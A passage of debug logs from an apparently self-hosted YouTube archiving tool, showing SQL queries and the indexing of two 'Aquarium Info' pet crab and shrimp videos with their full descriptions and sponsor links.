shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [117316] 11:12:09.789 [debug] Current batch of media processed. Will check again in 1000ms 11:12:10.789 [debug] Current batch of media processed. Will check again in 1000ms 11:12:11.791 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Meet Chowder, a baby blue crab I rescued from a restaurant! \n\nGet up to $350 and earn up to 3.50% APY with Chime here: https://chime.yt.link/CkQDaqT. Thanks Chime for sponsoring this video!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we save a baby blue crab from a restaurant from being someone’s dinner. He arrives at our studio missing a claw and we call him Chowder, our one clawed prince. He is in really poor health, but slowly over time he grows stronger. I’m so happy I didn’t give up on him and his recovery! I’ve saved grocery store pets before, like Nibbles, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet crab Chowder. I even surprise Chowder with an epic crab kingdom with 3D printed castles, turrets and more! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a restaurant crab named Chowder from becoming someone’s dinner. Witness his incredible journey back to health as we bring him home and build a massive saltwater ecosystem for him. I challenge myself to build the ultimate 5 star castle, featuring custom bridges, turrets and a private underwater bunker.\n\nWatch until the end to see what Chowder thinks of his new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this rescue pet video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Chowder\" so I notice you 👑 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl\n\n$350 Intro Offer: Terms apply. Limited time only. Must open a new account and complete qualifying activities to earn up to $350. See chime.com/policies/newmemberofferv3 for details.\n3.50% Chime+ APY is only available to members who maintain eligibility for Chime+ status, otherwise the 1.00% APY will apply. APY means Annual Percentage Yield. No minimum balance required. See Chime.com for details. Chime Checking Account required to be eligible for a Savings Account.\nThe national average rate can be found on the FDIC's National Rates and Rate Caps website here: https://www.fdic.gov/national-rates-and-rate-caps.\nAutomatic Round Ups: Only debit card and credit card purchases can receive round-ups. Must receive a qualifying direct deposit of $1 or more.", "duration" => 789, "filename" => "/downloads/shows/Aquarium Info/Season 2026/s2026e013100 - I Turned a Restaurant Crab into a Pet....mkv", "id" => "Bl8h8ks400Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Bl8h8ks400Y", "playlist_index" => 4, "timestamp" => 1769875860, "title" => "I Turned a Restaurant Crab into a Pet...", "upload_date" => "20260131"} 11:12:11.791 [debug] QUERY OK source="sources" db=0.2ms idle=900.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:11.792 [debug] QUERY OK source="sources" db=0.2ms idle=900.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:11.793 [debug] QUERY OK source="media_items" db=0.7ms idle=901.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 16:11:00Z], 32] 11:12:11.796 [debug] QUERY OK source="media_items" db=2.2ms idle=902.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Chowder, a baby blue crab I rescued from a restaurant! \n\nGet up to $350 and earn up to 3.50% APY with Chime here: https://chime.yt.link/CkQDaqT. Thanks Chime for sponsoring this video!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we save a baby blue crab from a restaurant from being someone’s dinner. He arrives at our studio missing a claw and we call him Chowder, our one clawed prince. He is in really poor health, but slowly over time he grows stronger. I’m so happy I didn’t give up on him and his recovery! I’ve saved grocery store pets before, like Nibbles, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet crab Chowder. I even surprise Chowder with an epic crab kingdom with 3D printed castles, turrets and more! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a restaurant crab named Chowder from becoming someone’s dinner. Witness his incredible journey back to health as we bring him home and build a massive saltwater ecosystem for him. I challenge myself to build the ultimate 5 star castle, featuring custom bridges, turrets and a private underwater bunker.\n\nWatch until the end to see what Chowder thinks of his new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this rescue pet video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Chowder\" so I notice you 👑 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl\n\n$350 Intro Offer: Terms apply. Limited time only. Must open a new account and complete qualifying activities to earn up to $350. See chime.com/policies/newmemberofferv3 for details.\n3.50% Chime+ APY is only available to members who maintain eligibility for Chime+ status, otherwise the 1.00% APY will apply. APY means Annual Percentage Yield. No minimum balance required. See Chime.com for details. Chime Checking Account required to be eligible for a Savings Account.\nThe national average rate can be found on the FDIC's National Rates and Rate Caps website here: https://www.fdic.gov/national-rates-and-rate-caps.\nAutomatic Round Ups: Only debit card and credit card purchases can receive round-ups. Must receive a qualifying direct deposit of $1 or more.", "I Turned a Restaurant Crab into a Pet...", "3680627a-d015-4f03-9571-c950eaf2ceff", "Bl8h8ks400Y", false, "https://www.youtube.com/watch?v=Bl8h8ks400Y", 32, [], 789, false, 4, "/downloads/shows/Aquarium Info/Season 2026/s2026e013100 - I Turned a Restaurant Crab into a Pet....mkv", false, false, 98, ~U[2026-01-31 16:11:00Z], ~U[2026-06-02 15:12:11Z], ~U[2026-06-02 15:12:11Z], "Meet Chowder, a baby blue crab I rescued from a restaurant! \n\nGet up to $350 and earn up to 3.50% APY with Chime here: https://chime.yt.link/CkQDaqT. Thanks Chime for sponsoring this video!\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we save a baby blue crab from a restaurant from being someone’s dinner. He arrives at our studio missing a claw and we call him Chowder, our one clawed prince. He is in really poor health, but slowly over time he grows stronger. I’m so happy I didn’t give up on him and his recovery! I’ve saved grocery store pets before, like Nibbles, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet crab Chowder. I even surprise Chowder with an epic crab kingdom with 3D printed castles, turrets and more! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle + Chowder\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a restaurant crab named Chowder from becoming someone’s dinner. Witness his incredible journey back to health as we bring him home and build a massive saltwater ecosystem for him. I challenge myself to build the ultimate 5 star castle, featuring custom bridges, turrets and a private underwater bunker.\n\nWatch until the end to see what Chowder thinks of his new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this rescue pet video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"King Chowder\" so I notice you 👑 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl\n\n$350 Intro Offer: Terms apply. Limited time only. Must open a ne (truncated) 11:12:11.797 [debug] QUERY OK source="sources" db=0.3ms idle=36.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:11.797 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:11.798 [debug] QUERY OK source="media_items" db=0.3ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116184] 11:12:11.798 [debug] Current batch of media processed. Will check again in 1000ms 11:12:12.799 [debug] Current batch of media processed. Will check again in 1000ms 11:12:13.800 [debug] Current batch of media processed. Will check again in 1000ms 11:12:14.801 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Meet Zoey, a grocery store shrimp I'm keeping as a pet!\n\n🌈 Get the H2C and explore effortless multi-color printing by clicking the link! https://tidd.ly/4iVdqu5\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\n🎣 Go shrimping with Captain Deryl! https://reelscreamers.com/ He’s a legend and we couldn’t have done this video without him.\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we rescue an ordinary shrimp from the grocery store and name her Zoey. She was the smallest supermarket shrimp and only cost me a few dollars. I just had to save this pet and build her a dream fish tank. I recently rescued Noodle, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet grocery store shrimp. I even surprise Zoey with two friends who I name Rumi and Mira, inspired by my favorite new Netflix movie, KPop Demon Hunters! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a grocery store shrimp named Zoey from becoming someone’s dinner. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her. I challenge myself to build the ultimate 5 star private waterpark, featuring water slides, a real wave pool and so much more. I even 3D print a custom forklift to help me in this STEM project. If you’re curious about this little car I printed, check out Bambu Lab’s Cyberbrick collection here: https://tidd.ly/4pEIOjl \n\nWatch until the end to see what our KPop Demon Hunter pet shrimp think of their new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, KPop Demon Hunters, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this grocery store pets video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"KPop Demon Hunters\" so I notice you 🎤 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 1092, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e121400 - I Turned a Grocery Store Shrimp into a Pet.mkv", "id" => "Yx3ugiqTKJ4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Yx3ugiqTKJ4", "playlist_index" => 5, "timestamp" => 1765720620, "title" => "I Turned a Grocery Store Shrimp into a Pet", "upload_date" => "20251214"} 11:12:14.802 [debug] QUERY OK source="sources" db=0.2ms idle=1910.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:14.802 [debug] QUERY OK source="sources" db=0.2ms idle=1910.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:14.803 [debug] QUERY OK source="media_items" db=0.4ms idle=1911.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-14 13:57:00Z], 32] 11:12:14.808 [debug] QUERY OK source="media_items" db=4.1ms idle=1041.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Zoey, a grocery store shrimp I'm keeping as a pet!\n\n🌈 Get the H2C and explore effortless multi-color printing by clicking the link! https://tidd.ly/4iVdqu5\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\n🎣 Go shrimping with Captain Deryl! https://reelscreamers.com/ He’s a legend and we couldn’t have done this video without him.\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we rescue an ordinary shrimp from the grocery store and name her Zoey. She was the smallest supermarket shrimp and only cost me a few dollars. I just had to save this pet and build her a dream fish tank. I recently rescued Noodle, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet grocery store shrimp. I even surprise Zoey with two friends who I name Rumi and Mira, inspired by my favorite new Netflix movie, KPop Demon Hunters! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a grocery store shrimp named Zoey from becoming someone’s dinner. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her. I challenge myself to build the ultimate 5 star private waterpark, featuring water slides, a real wave pool and so much more. I even 3D print a custom forklift to help me in this STEM project. If you’re curious about this little car I printed, check out Bambu Lab’s Cyberbrick collection here: https://tidd.ly/4pEIOjl \n\nWatch until the end to see what our KPop Demon Hunter pet shrimp think of their new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, KPop Demon Hunters, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this grocery store pets video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"KPop Demon Hunters\" so I notice you 🎤 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned a Grocery Store Shrimp into a Pet", "3d6286a7-a1ae-4e67-8ea2-45aeeec4661a", "Yx3ugiqTKJ4", false, "https://www.youtube.com/watch?v=Yx3ugiqTKJ4", 32, [], 1092, false, 5, "/downloads/shows/Aquarium Info/Season 2025/s2025e121400 - I Turned a Grocery Store Shrimp into a Pet.mkv", false, false, 98, ~U[2025-12-14 13:57:00Z], ~U[2026-06-02 15:12:14Z], ~U[2026-06-02 15:12:14Z], "Meet Zoey, a grocery store shrimp I'm keeping as a pet!\n\n🌈 Get the H2C and explore effortless multi-color printing by clicking the link! https://tidd.ly/4iVdqu5\n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\n🎣 Go shrimping with Captain Deryl! https://reelscreamers.com/ He’s a legend and we couldn’t have done this video without him.\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nIn this video, we rescue an ordinary shrimp from the grocery store and name her Zoey. She was the smallest supermarket shrimp and only cost me a few dollars. I just had to save this pet and build her a dream fish tank. I recently rescued Noodle, my grocery store crab, Pickle, my grocery store king crab and Mochi, my grocery store lobster, and built them dream homes featuring SpongeBob’s Bikini Bottom and a secret bunker, so I knew I had to do something special for my new pet grocery store shrimp. I even surprise Zoey with two friends who I name Rumi and Mira, inspired by my favorite new Netflix movie, KPop Demon Hunters! \n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph, Zoey, Mira & Rumi \n🐸 Frito & Burrito\n🦎 Lucy & Lemon + Miso & Matcha + Jojo & Java\n🪦 R.I.P. Kirby & Noodle\n\nIn this heartwarming episode, we embark on a rescue mission to save a grocery store shrimp named Zoey from becoming someone’s dinner. Witness her incredible journey back to health as we bring her home and build a massive saltwater ecosystem for her. I challenge myself to build the ultimate 5 star private waterpark, featuring water slides, a real wave pool and so much more. I even 3D print a custom forklift to help me in this STEM project. If you’re curious about this little car I printed, check out Bambu Lab’s Cyberbrick collection here: https://tidd.ly/4pEIOjl \n\nWatch until the end to see what our KPop Demon Hunter pet shrimp think of their new home!! This video is perfect for anyone who is passionate about wildlife rescue, grocery store pets, KPop Demon Hunters, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this grocery store pets video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"KPop Demon Hunters\" so I notice you 🎤 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Turned a Grocery Store Shrimp into a Pet", "Yx3ugiqTKJ4", "https://www.youtube.com/watch?v=Yx3ugiqTKJ4", 32, 1092, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e121400 - I Turned a Grocery Store Shrimp into a Pet.mkv", false, ~ (truncated) 11:12:14.808 [debug] QUERY OK source="sources" db=0.2ms idle=45.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:14.809 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:14.809 [debug] QUERY OK source="media_items" db=0.2ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 